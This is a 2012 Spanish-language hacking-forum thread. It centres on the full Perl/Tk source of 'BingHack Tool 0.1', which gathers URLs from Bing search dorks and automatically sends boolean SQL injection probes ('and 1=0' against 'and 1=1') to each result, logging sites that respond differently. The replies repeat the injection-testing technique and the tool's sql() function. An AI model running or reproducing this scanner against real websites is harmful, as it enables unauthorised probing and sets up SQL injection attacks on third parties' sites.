Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: BigBear en 26 Mayo 2012, 16:02 pm



Título: [Perl Tk] BingHack Tool 0.1
Publicado por: BigBear en 26 Mayo 2012, 16:02 pm
Version Tk de un script en Perl para buscar paginas vulnerables a SQLi usando Bing.

Una imagen

(http://doddyhackman.webcindario.com/images/bing.jpg)

El codigo

Código
  1. #!usr/bin/perl
  2. #BingHack Tool 0.1
  3. #Version Tk
  4. #Coded By Doddy H
  5.  
  6. use Tk;
  7. use LWP::UserAgent;
  8.  
  9. my $nave = LWP::UserAgent->new;
  10. $nave->agent(
  11. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  12. );
  13. $nave->timeout(5);
  14.  
  15. my $color_fondo = "black";
  16. my $color_texto = "green";
  17.  
  18. if ( $^O eq 'MSWin32' ) {
  19.    use Win32::Console;
  20.    Win32::Console::Free();
  21. }
  22.  
  23. my $hj =
  24.  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  25. $hj->geometry("600x285+20+20");
  26. $hj->resizable( 0, 0 );
  27. $hj->title("BingHack Tool 0.1");
  28.  
  29. $hj->Label(
  30.    -text       => "Dork : ",
  31.    -font       => "Impact1",
  32.    -background => $color_fondo,
  33.    -foreground => $color_texto
  34. )->place( -x => 18, -y => 22 );
  35. my $dork = $hj->Entry(
  36.    -width      => 30,
  37.    -background => $color_fondo,
  38.    -foreground => $color_texto
  39. )->place( -x => 68, -y => 26 );
  40.  
  41. $hj->Label(
  42.    -text       => "Pages : ",
  43.    -font       => "Impact1",
  44.    -background => $color_fondo,
  45.    -foreground => $color_texto
  46. )->place( -x => 270, -y => 22 );
  47. my $pages = $hj->Entry(
  48.    -width      => 10,
  49.    -background => $color_fondo,
  50.    -foreground => $color_texto
  51. )->place( -x => 335, -y => 26 );
  52.  
  53. $hj->Button(
  54.    -text             => "Search",
  55.    -width            => 10,
  56.    -background       => $color_fondo,
  57.    -foreground       => $color_texto,
  58.    -activebackground => $color_texto,
  59.    -command          => \&search
  60. )->place( -x => 420, -y => 26 );
  61. $hj->Button(
  62.    -text             => "Logs",
  63.    -width            => 10,
  64.    -background       => $color_fondo,
  65.    -foreground       => $color_texto,
  66.    -activebackground => $color_texto,
  67.    -command          => \&logs
  68. )->place( -x => 495, -y => 26 );
  69.  
  70. $hj->Label(
  71.    -text       => "Links Found",
  72.    -font       => "Impact",
  73.    -background => $color_fondo,
  74.    -foreground => $color_texto
  75. )->place( -x => 110, -y => 80 );
  76. my $links = $hj->Listbox(
  77.    -width      => 40,
  78.    -height     => 10,
  79.    -background => $color_fondo,
  80.    -foreground => $color_texto
  81. )->place( -x => 30, -y => 120 );
  82.  
  83. $hj->Label(
  84.    -text       => "SQLi Found",
  85.    -font       => "Impact",
  86.    -background => $color_fondo,
  87.    -foreground => $color_texto
  88. )->place( -x => 390, -y => 80 );
  89. my $founds = $hj->Listbox(
  90.    -width      => 40,
  91.    -height     => 10,
  92.    -background => $color_fondo,
  93.    -foreground => $color_texto
  94. )->place( -x => 310, -y => 120 );
  95.  
  96. MainLoop;
  97.  
  98. sub search {
  99.  
  100.    $links->delete( "0.0", "end" );
  101.    $founds->delete( "0.0", "end" );
  102.  
  103.    $hj->update;
  104.    $hj->title("BingHack Tool 0.1 [+] Status : Searching");
  105.    my @urls = bing( $dork->get, $pages->get );
  106.    $hj->update;
  107.  
  108.    for (@urls) {
  109.        $hj->update;
  110.        $links->insert( "end", $_ );
  111.    }
  112.  
  113.    $hj->title("BingHack Tool 0.1 [+] Status : Scanning");
  114.  
  115.    for my $pa (@urls) {
  116.        $hj->update;
  117.        sql($pa);
  118.    }
  119.    $hj->update;
  120.    $hj->title("BingHack Tool 0.1");
  121. }
  122.  
  123. sub logs {
  124.  
  125.    my $file = "sql-logs.txt";
  126.  
  127.    if ( -f $file ) {
  128.        system($file);
  129.    }
  130.    else {
  131.        $hj->Dialog(
  132.            -title            => "Error",
  133.            -buttons          => ["OK"],
  134.            -text             => "Logs not found",
  135.            -background       => $color_fondo,
  136.            -foreground       => $color_text,
  137.            -activebackground => $color_text
  138.        )->Show();
  139.    }
  140. }
  141.  
  142. sub sql {
  143.    my ( $pass1, $pass2 ) = ( "+", "--" );
  144.    my $page = shift;
  145.  
  146.    my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
  147.    my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );
  148.  
  149.    unless ( $testar1 eq $testar2 ) {
  150.        $founds->insert( "end", $page );
  151.        savefile( "sql-logs.txt", $page );
  152.    }
  153. }
  154.  
  155. sub savefile {
  156.    open( SAVE, ">>" . $_[0] );
  157.    print SAVE $_[1] . "\n";
  158.    close SAVE;
  159. }
  160.  
  161. sub bing {
  162.  
  163.    my ( $a, $b ) = @_;
  164.    for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
  165.        $hj->update;
  166.        my $code =
  167.          toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );
  168.  
  169.        while ( $code =~ /<h3><a href="(.*?)"/mig ) {
  170.            push( @founds, $1 );
  171.        }
  172.    }
  173.    my @founds = repes( cortar(@founds) );
  174.    return @founds;
  175. }
  176.  
  177. sub repes {
  178.    my @limpio;
  179.    foreach $test (@_) {
  180.        push @limpio, $test unless $repe{$test}++;
  181.    }
  182.    return @limpio;
  183. }
  184.  
  185. sub cortar {
  186.    my @nuevo;
  187.    for (@_) {
  188.        if ( $_ =~ /=/ ) {
  189.            @tengo = split( "=", $_ );
  190.            push( @nuevo, @tengo[0] . "=" );
  191.        }
  192.        else {
  193.            push( @nuevo, $_ );
  194.        }
  195.    }
  196.    return @nuevo;
  197. }
  198.  
  199. sub toma {
  200.    return $nave->get( $_[0] )->content;
  201. }
  202.  
  203. #The End ?
  204.  


Título: Re: [Perl Tk] BingHack Tool 0.1
Publicado por: z3nth10n en 26 Mayo 2012, 16:16 pm
Esto no es doble post?? a mi salen dos...  :rolleyes:

Observa:

(http://i.imgur.com/P51CX.png)

 >:D  >:D  >:D xD


Título: Re: [Perl Tk] BingHack Tool 0.1
Publicado por: BigBear en 26 Mayo 2012, 16:29 pm
si leyeras bien el titulo te darias cuenta de que una version es para consola y otra es para Tk (version grafica).


Título: Re: [Perl Tk] BingHack Tool 0.1
Publicado por: Runex en 26 Mayo 2012, 16:33 pm
Aquí con tal de subir mensajes se aprovecha todo anda que..

Buen trabajo Doddy, aunque las webs que muestras en la imagen del BingHack no me aparecen como vulnerables si compruebo yo la vuln a mano :S.

Un saludo :)


Título: Re: [Perl Tk] BingHack Tool 0.1
Publicado por: BigBear en 26 Mayo 2012, 16:36 pm
gracias por el aviso runex voy a tener que mejorar la funcion sql() debido a que solo 3 urls de la imagen son realmente vulnerables.
 


Título: Re: [Perl Tk] BingHack Tool 0.1
Publicado por: Runex en 26 Mayo 2012, 16:55 pm
gracias por el aviso runex voy a tener que mejorar la funcion sql() debido a que solo 3 urls de la imagen son realmente vulnerables.
 

De nada Doddy, para eso estamos :).

Lo que hacía yo para comprobar la vulnerabilidad, era añadir a la url ésto: "noticias.php?id=1+and+1=1" si el código fuente de esa era igual al código fuente original y el código fuente de "noticias.php?id=1+and+1=0" es diferente de ambas, lo más probable es que sea vulnerable.

Otra forma, la más conocida, le añades comillas al final de la url, y compruebas si en su código aparece la palabra Sql Error, o los típicos errores, ya sabes :).

Un saludo Runex :)


Título: Re: [Perl Tk] BingHack Tool 0.1
Publicado por: BigBear en 26 Mayo 2012, 16:58 pm
la tecnica que use es la misma que dijiste

Código
  1. sub sql {
  2.    my ( $pass1, $pass2 ) = ( "+", "--" );
  3.    my $page = shift;
  4.  
  5.    my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
  6.    my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );
  7.  
  8.    unless ( $testar1 eq $testar2 ) {
  9.        $founds->insert( "end", $page );
  10.        savefile( "sql-logs.txt", $page );
  11.    }
  12. }


Título: Re: [Perl Tk] BingHack Tool 0.1
Publicado por: z3nth10n en 26 Mayo 2012, 23:43 pm
Perdona, y porque no lo subes todo en un mismo post?  :huh:

Por cierto, buen trabajo.  ;D


Título: Re: [Perl Tk] BingHack Tool 0.1
Publicado por: BigBear en 27 Mayo 2012, 00:41 am
lo hago en post diferentes para que quede mas ordenado debido a que en la version Tk siempre pongo una imagen del programa y en la version consola no.




Título: Re: [Perl Tk] BingHack Tool 0.1
Publicado por: s3tH en 28 Mayo 2012, 23:12 pm
Que tal amigo, me podria dar instruciones para instalar TK en windows, por k en los paquetes solo encuentro TKx, e intente instalar tcl, pero no puedo compilar con tk, saludos.


Título: Re: [Perl Tk] BingHack Tool 0.1
Publicado por: BigBear en 28 Mayo 2012, 23:23 pm
yo no instale nada debe ser porque estoy usando ActivePerl 5.8